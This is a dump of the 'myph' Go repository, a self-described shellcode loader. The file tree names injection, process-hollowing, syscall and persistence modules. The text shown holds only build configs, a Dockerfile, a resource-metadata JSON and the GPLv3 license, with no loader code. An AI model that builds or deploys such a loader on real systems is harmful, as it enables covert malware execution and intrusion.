├── .dockerignore ├── .github ├── test-data │ ├── example.json │ ├── pwned.ico │ └── smersh.png └── workflows │ └── release.yml ├── .gitignore ├── .goreleaser.yaml ├── Dockerfile ├── LICENSE ├── Makefile ├── NOTES.txt ├── README.md ├── TODO.txt ├── cli ├── defaults.go ├── parser.go └── types.go ├── go.mod ├── go.sum ├── internals ├── asm_x64.s ├── defines.go ├── hashes.go └── runtime.go ├── loaders ├── createFiber.go ├── createRemoteThread.go ├── createRemoteThreadEx.go ├── createThread.go ├── enumCalendarInfoA.go ├── etwpCreateEtwThread.go ├── ntCreateThreadEx.go ├── processHollowing.go ├── setTimer.go ├── syscall.go └── utils.go ├── main.go ├── rc └── fromJson.go ├── scripts └── hash_function.go └── tools ├── crypting.go ├── encodings.go ├── persist.go └── utils.go /.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | 3 | *.raw 4 | *.bin 5 | myph 6 | 7 | README.md 8 | 9 | Makefile 10 | Dockerfile 11 | 12 | .goreleaser.yml 13 | .dockerignore 14 | .gitignore 15 | .github 16 | -------------------------------------------------------------------------------- /.github/test-data/example.json: -------------------------------------------------------------------------------- 1 | { 2 | "RT_GROUP_ICON": { 3 | "APP": { 4 | "0000": [ 5 | "smersh.png" 6 | ] 7 | }, 8 | "#42": { 9 | "040C": "pwned.ico" 10 | } 11 | }, 12 | "RT_MANIFEST": { 13 | "#1": { 14 | "0409": {} 15 | } 16 | }, 17 | "RT_VERSION": { 18 | "#1": { 19 | "0409": { 20 | "info": { 21 | "0409": { 22 | "FileDescription": "golang shellcode loader", 23 | "InternalName": "myph", 24 | "LegalCopyright": "CMEPW -- GPLv3", 25 | "OriginalFilename": "payload.exe", 26 | "ProductName": "myph-payload", 27 | "ProductVersion": "1.0", 28 | "FileVersion": "1.0", 29 | "Comments": "Ca devrait le faire" 30 | } 31 | } 32 | } 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /.github/test-data/pwned.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matro7sh/myph/8de7c2b811f38b18caec5f608385893f82bc47ff/.github/test-data/pwned.ico -------------------------------------------------------------------------------- /.github/test-data/smersh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matro7sh/myph/8de7c2b811f38b18caec5f608385893f82bc47ff/.github/test-data/smersh.png -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Publish github release 2 | 3 | on: 4 | push: 5 | tags: ["v*"] 6 | 7 | 8 | permissions: 9 | contents: write 10 | 11 | jobs: 12 | generate-artifacts: 13 | name: Generate cross-platform builds 14 | runs-on: ubuntu-latest 15 | steps: 16 | - name: Checkout 17 | uses: actions/checkout@v2 18 | with: 19 | fetch-depth: 0 20 | 21 | - name: Set up Go 22 | uses: actions/setup-go@v4 23 | with: 24 | go-version: 1.19 25 | 26 | - name: Run GoReleaser 27 | uses: goreleaser/goreleaser-action@v5 28 | with: 29 | distribution: goreleaser 30 | version: latest 31 | args: release --clean 32 | env: 33 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 34 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ---> Go 2 | # If you prefer the allow list template instead of the deny list, see community template: 3 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 4 | # 5 | # Binaries for programs and plugins 6 | *.bin 7 | *.exe 8 | *.exe~ 9 | *.dll 10 | *.so 11 | *.dylib 12 | myph 13 | myph-out/ 14 | 15 | scripts/hash_function 16 | scripts/hash 17 | 18 | # Test binary, built with `go test -c` 19 | *.test 20 | 21 | # Output of the go coverage tool, specifically when used with LiteIDE 22 | *.out 23 | 24 | # Dependency directories (remove the comment below to include it) 25 | # vendor/ 26 | 27 | # Go workspace file 28 | go.work 29 | *.raw 30 | 31 | dist/ 32 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | # This is an example .goreleaser.yml file with some sensible defaults. 2 | # Make sure to check the documentation at https://goreleaser.com 3 | 4 | # The lines below are called `modelines`. See `:help modeline` 5 | # Feel free to remove those if you don't want/need to use them. 6 | # yaml-language-server: $schema=https://goreleaser.com/static/schema.json 7 | # vim: set ts=2 sw=2 tw=0 fo=cnqoj 8 | 9 | version: 1 10 | 11 | before: 12 | hooks: 13 | # You may remove this if you don't use go modules. 14 | - go mod tidy 15 | 16 | builds: 17 | - env: 18 | - CGO_ENABLED=0 19 | goos: 20 | - linux 21 | - windows 22 | - darwin 23 | goarch: 24 | - amd64 25 | 26 | archives: 27 | - format: tar.gz 28 | # this name template makes the OS and Arch compatible with the results of `uname`. 29 | name_template: >- 30 | {{ .ProjectName }}_ 31 | {{- title .Os }}_ 32 | {{- if eq .Arch "amd64" }}x86_64 33 | {{- else if eq .Arch "386" }}i386 34 | {{- else }}{{ .Arch }}{{ end }} 35 | {{- if .Arm }}v{{ .Arm }}{{ end }} 36 | # use zip for windows archives 37 | format_overrides: 38 | - goos: windows 39 | format: zip 40 | 41 | changelog: 42 | sort: asc 43 | filters: 44 | exclude: 45 | - "^docs:" 46 | - "^test:" 47 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.20-alpine as builder 2 | 3 | WORKDIR /root 4 | RUN apk update --no-cache && \ 5 | apk upgrade --no-cache && \ 6 | apk add --no-cache \ 7 | make \ 8 | build-base 9 | 10 | COPY go.mod . 11 | RUN go mod download 12 | 13 | COPY . . 14 | RUN go build -o myph . 15 | 16 | 17 | FROM alpine:3.18.2 18 | LABEL maintainer="djnn " 19 | 20 | RUN adduser -D djnn 21 | USER djnn 22 | WORKDIR /home/djnn 23 | 24 | COPY --from=builder /root/myph . 25 | 26 | ENTRYPOINT [ "/home/djnn/myph" ] 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | 